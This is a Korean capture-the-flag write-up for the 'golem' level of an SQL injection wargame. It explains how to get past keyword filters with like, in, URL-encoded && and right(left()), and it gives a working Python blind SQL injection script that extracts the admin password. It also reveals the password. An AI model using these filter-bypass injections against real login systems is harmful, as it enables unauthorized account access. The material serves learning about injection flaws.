이번에는 or ,and, substr, (, = 이 필터링이 되었다.
= 필터링을 우회하기 위하여 like문법을 사용하여 id값에 'amdin'을 넣었고
in을 사용하면 =의 역할을 할 수 있기때문에 in 문법을 사용하였다.
ex) lenght(pw) in 8
이제 이 우회기법을 이용해서 비밀번호를 알아내면 되는데 앞서 말한대로 =이 필터링이 됨으로 비교 연산자를 사용하였고
and or 필터링으로 &를 사용해야하는데 url 자체 기능으로 &가 사용되기 때문에 url 인코딩을 따로 해주어 %26으로 표기해주었다.
substr이 필터링 되어있어서 right와 left를 사용하여 풀었다.
(사실 mid를 쓰면 쉽습니다)
import requests
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"
headers = {"cookie":"PHPSESSID=asdf"}
l = 0
pw = ''
for i in range(1,20):
query = "pw=%27||id%20like%20%27admin%27%20%26%26length(pw) in ({})%23".format(i)
r = requests.get(url+query, headers=headers)
if "Hello admin" in r.text:
l = i+1
print(i)
break
for i in range(1,l):
for c in range(22,133):
query = "pw='||id like 'admin'%26%26right(left(pw,{}),1) in ('{}')%23".format(i,chr(c))
r = requests.get(url+query, headers=headers)
if "Hello admin" in r.text:
print(chr(c))
pw += chr(c)
break
print(pw)
이제 이 비밀번호를 그냥 ?pw=77d6290
이라고 입력하면 클리어가 된다.
그 이유는
geust로직이 끝나면
id 값은 이미 어드민으로 자동으로 들어가게 되어있다.
그래서 따로 지정을 안해주어도 답을 입력하고 클리어를 얻을 수가 있엇다.